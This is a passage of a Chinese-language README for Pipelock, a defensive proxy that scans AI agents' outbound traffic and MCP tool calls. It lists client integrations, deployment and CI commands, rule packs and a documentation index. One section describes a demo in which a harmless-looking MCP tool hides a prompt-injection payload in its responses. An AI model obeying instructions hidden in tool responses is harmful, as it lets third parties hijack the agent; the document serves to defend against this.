- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** MCP 代理设置,`.claude.json` 配置
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** MCP 代理包装、正向代理、沙箱集成
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** 用于 Cline 的 `mcp.json` 的 MCP 代理包装
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** 用于 OpenCode 本地和远程 MCP 服务器的 MCP 代理包装
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** 用于 Zed 的 `settings.json` 中 `context_servers` 块的 MCP 代理包装
- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`、多代理切换
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`、`StdioConnectionParams`
- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`、`mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** `MCPServerStdio` 包装、`MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`、`StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** 针对 Nous Research 代理的完整插件覆盖或更轻量的 MCP 包装,并保留 auth-header sidecar
- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** 用于 IntelliJ、PyCharm、GoLand 的 MCP 代理包装([操作指南](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install` 将 Pipelock 注册为 Cursor 的 shell 执行、MCP 工具调用和文件读取钩子;使用 `--config` 嵌入已验证的策略路径,并使用 `pipelock cursor remove` 移除 Pipelock 管理的钩子。您也可以使用 `configs/cursor.yaml` 搭配与 [Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md) 相同的 MCP 代理模式([操作指南](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install` 重写 `.vscode/mcp.json` 以将每个 MCP 服务器路由通过 MCP 代理;`--global` 目标用户级别的 `mcp.json`
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** 网关 sidecar、初始化容器、配置包装
- **任何其他 MCP 客户端:** `pipelock generate mcporter` 读取任何包含顶级 `mcpServers` 对象的 JSON 文件,并通过 Pipelock 的代理包装每个服务器,即使客户端不在上述列表中,也能通过一次命令路由进行扫描。
---
## 部署```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
针对 Docker Compose、Kubernetes sidecar + NetworkPolicy、iptables/nftables 和 macOS PF 的生产级配置方案:docs/guides/deployment-recipes.md
CI 集成```yaml
.github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2 with: scan-diff: 'true' fail-on-findings: 'true'
该操作会下载预编译的二进制文件,运行 `pipelock audit`,扫描 PR diff 以查找泄露的密钥,并将审计报告作为工作流工件上传。有关完整的工作流,请参阅 [`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml)。
### 可运行演示:工具响应注入
[`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) 测试框架运行一个端到端演示,其中一个名称和描述无害的 MCP 工具在其响应中隐藏了提示注入载荷。Pipelock 在响应到达代理之前将其拦截,并发出第三方可验证的签名操作收据。同一演示使用一个共享签名密钥针对三种传输方式运行:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
社区规则
检测能力——你可以扩展、共享,并比核心二进制更快地交付。
Pipelock 内置的 DLP、注入和工具投毒检测开箱即用,功能强大。社区规则包让你更进一步:针对你的堆栈所遇到的泄露形态、秘密格式和注入技巧,添加你自己的模式,进行签名,然后以你控制的节奏交付,无需等待发布。
一行命令安装官方规则包:```bash pipelock rules install pipelock-community
规则包已签名并锁定版本。完整生命周期是一个已发布的命令,而不是配置编辑:```bash
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
编写你自己的规则。 规则是一个小的YAML条目,包含名称、类别(DLP、注入或工具中毒)和模式。用你的密钥签名,放入一个规则包中,你运行的每个Pipelock实例都会接收它。与社区共享,它也能保护其他人。
向公共的pipelock-rules规则包贡献一条规则,或阅读docs/rules.md来构建并签署你自己的规则。
文档
完整文档目录:docs/
| 文档 | 内容说明 |
|---|---|
| 配置参考 | 所有配置字段、默认值、热重载行为、预设 |
| 请求策略 | 出站API操作的默认允许、拒绝/警告轨道(GraphQL / 鉴别器 / 批量),故障关闭(v2.6) |
| 请求编辑 | 跨HTTP、WebSocket和MCP传输的JSON请求重写 |
| 误报调优 | 识别、抑制和调优扫描器发现 |
| 扫描API | 用于程序化扫描的评估端点 |
| 部署指南 | Docker Compose、K8s sidecar、iptables、macOS PF |
pipelock doctor | 用于代理、TLS、MCP、file_sentry、遥测和隔离信号的已配置与可执行部署诊断 |
pipelock dashboard | 操作员仪表板设置:认证模式、RBAC权限、证据、豁免、预算、信任与密钥、集群视图、备份/恢复以及覆盖证书 |
pipelock verify-install | 确定性扫描、本地证明和直接出口冒烟检查 |
pipelock update | 已验证的自更新:签名的发布清单、校验和验证、可选cosign交叉检查、原子安装、回滚 |
| 绕过抵抗性 | 已知的规避技术、缓解措施、限制 |
| 已知被阻止的攻击 | 带再现代码片段的真实攻击 |
| SIEM集成 | 日志模式、CEF/syslog输出、持久的企业转发、生命周期、指标、SIEM查询 |
| 指标参考 | Prometheus指标家族、标签、JSON统计和告警规则 |
| 社区规则 | 安装、配置和创建签名规则包 |
| 安全保障 | 安全模型、信任边界、供应链 |
| 安全文档 | 披露策略、不支持路径、密钥轮换、TLS CA和审计包威胁模型 |
| 企业就绪性 | 内置的企业控制、评估路径、部署决策和明确边界 |
| 可重现构建 | 字节对字节的OSS二进制检查、稳定输入、发布集成和范围 |
| 发现抑制 | 规则名称、路径匹配、内联注释 |
| 传输模式 | 所有代理模式及其扫描能力 |
| OWASP MCP Top 10 | OWASP MCP Top 10覆盖范围 |
| OWASP Agentic Top 15 | OWASP Agentic AI Top 15覆盖范围 |
| OWASP LLM Top 10 | OWASP LLM应用Top 10(2025)覆盖范围 |
| 欧盟人工智能法案 | 欧盟人工智能法案合规映射 |
| NIST 800-53 | NIST SP 800-53 Rev. 5控制映射 |
| 评估映射 | 将运行时控制映射到pipelock assess生成证据的框架,用于采购和审计审查 |
| 策略规范v0.1 | 可移植的代理防火墙策略格式 |
| 中介封装 | 带外元数据头、配置、与收据的交互 |
| 媒体策略 | 隐写剥离、SVG加固、允许类型、大小限制 |
| 证据术语 | ActionReceipt、EvidenceReceipt、飞行记录器、检查点、锚点、覆盖证书和审计包的快速参考,包含完整性与完备性、固定与非固定的区分 |
| 收据验证 | pipelock verify-receipt、集群收据报告验证、独立pipelock-verifier、一致性套件、链完整性 |
| 收据规范概要 | 用于操作收据的in-toto attestation谓词,附带SCITT和AARP概要以及现有技术映射 |
| 审计包威胁模型 | 已验证的审计包证明什么、不证明什么,以及依赖方必须固定的信任假设 |
| 收据传输覆盖 | 跨fetch、forward、CONNECT/TLS、WebSocket、MCP和A2A路径的收据发射矩阵 |
| 学习并锁定 | 按代理的行为合约:观察、编译、影子、批准、晋升(v2.4) |
| 联邦 | 入站中介封装验证、SPIFFE参与者格式、RFC 9421知名目录(v2.4) |
| 阻止原因头 | X-Pipelock-Block-Reason模式、原因词汇、重试提示(v2.4) |
| 健康端点 | /health 503楔形检测、子系统心跳、操作员仪表板配置(v2.4) |
| 主机隔离 | pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh用于3-UID nftables所有者匹配隔离,带内核观察的状态证明(v2.5) |
| MCP完整性清单 | 生成、验证、签名并要求可信的MCP二进制完整性清单(v2.5) |
| 自适应CLI | 通过管理API检查和刷新自适应执行运行时状态(v2.5) |
| Conductor | 企业集群控制平面:策略分发、审计接收、远程终止、回滚、mTLS/SPIFFE信任、许可(v2.7,企业版) |
| Conductor操作员运行手册 | 实操本地集群演练:引导、服务、签署批次、离线验证 |
| Conductor操作员快速入门 | 从零开始到只读集群审计:许可证、操作员mTLS证书、审计员令牌、只读命令 |
| Kubernetes企业部署 | 基于Helm的Conductor集群:控制平面、跟随者、集群接收、PKI密钥、网络策略 |
pipelock license | 安装、检查和验证解锁付费功能的许可证(专业版agents,企业版fleet) |
pipelock baseline | 通过已验证的管理API检查、批准和重新学习行为基线配置 |
| 姿态胶囊 | 签名的姿态快照、posture verify CLI、CI门、评分模型 |
pipelock init sidecar | 生成强制执行的Kubernetes配套代理清单和MCP启动器合约(strategic-merge、Kustomize、Helm values) |
pipelock session | 用于气闸检查和恢复的操作员CLI(列表、检查、解释、释放、终止、恢复) |
pipelock keys status | 统一签名密钥清单:按用途的来源、存在性、可读性、有效性和公钥指纹 |
| 飞行记录器 | 哈希链签名证据日志:默认开启行为、转录根印章、编辑、托管、密钥轮换 |
| TLS拦截 | CONNECT隧道MITM:CA设置、主体/头部/响应扫描、透传域名 |
| 金丝雀令牌 | 当代理试图外泄时立即触发警报的合成秘密 |
| 检测集成 | 将Pipelock决策和证据输入外部检测/SIEM管道 |
| PR审查 | 手动触发的拉取请求AI安全审查(/review评论) |
| MCP检查器前端 | 通过Pipelock扫描的前端MCP开发工具(检查器、测试服务器) |
pipelock demo | 自包含的攻击场景,带有签名、离线可验证的收据,无需配置或网络 |
| 徽章 | 用于下游项目上scanned by pipelock徽章的即插即用Markdown |
Project Structure```text
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ pipelock doctor and install-verification diagnostics
session/ pipelock session, pipelock adaptive, and pipelock baseline operator CLIs
setup/ pipelock init sidecar: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
---
## 测试
Pipelock 按照安全产品的标准进行测试。开源核心包含单元测试、集成测试和端到端测试。另有一个独立的私有对抗测试套件,针对生产二进制文件执行攻击类别。每次绕过漏洞在发布前都会转化为回归测试。
| 指标 | 值 |
|--------|-------|
| Go 测试(使用 `-race`) | 单元测试、集成测试和端到端路径 |
| 覆盖率门禁(codecov) | Apache-2.0 核心项目 91%,新代码补丁 95% |
| 规避覆盖率 | 公开的绕过抵抗矩阵 + 私有对抗语料库 |
| 扫描器热路径开销 | 每个 URL 扫描约 40 微秒(热路径基准测试;参见 [docs/performance.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/performance.md)) |
| CI 矩阵 | Go 1.25 + 1.26、CodeQL、golangci-lint |
| 供应链 | SLSA 出处、CycloneDX SBOM、cosign 签名 |
运行 `make test` 在本地验证。独立基准测试:公开的 [agent-egress-bench](https://github.com/luckyPipewrench/agent-egress-bench) 语料库。参见 [实时结果](https://pipelab.org/gauntlet/)。
---
## 致谢
- 架构受 [Anthropic 的 Claude Code 沙箱](https://www.anthropic.com/engineering/claude-code-sandboxing) 和 [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime) 启发
- 威胁模型参考 [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)
- 参见 [docs/comparison.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/comparison.md) 了解 Pipelock 与同类工具的关系
- 安全审查贡献来自 Dylan Corrales
欢迎贡献。请参阅 [CONTRIBUTING.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/CONTRIBUTING.md) 获取指南。
如果 Pipelock 对你有帮助,请点击 [为这个仓库点星](https://github.com/luckyPipewrench/pipelock)。这有助于其他人发现该项目。
---
## 许可证
Pipelock 核心基于 **Apache License 2.0** 许可。版权所有 2026 Joshua Waldrep。
多 Agent 功能(每个 Agent 的身份、预算和配置隔离)位于 `enterprise/` 目录,由 `enterprise` 构建标签控制,并根据 **Elastic License 2.0 (ELv2)** 许可。这些功能在拥有有效许可证密钥时激活。
开源核心可独立运行,无需付费功能。所有扫描、检测和单 Agent 保护均免费。
预构建的发布制品(Homebrew、GitHub 发布、Docker 镜像)包含付费层代码,在拥有有效许可证密钥时激活。通过 `go install` 或仓库中的 `Dockerfile` 从源代码构建将生成仅限社区版的二进制文件。
参见 [LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/LICENSE) 查看 Apache 2.0 文本,[enterprise/LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/enterprise/LICENSE) 查看 ELv2 文本。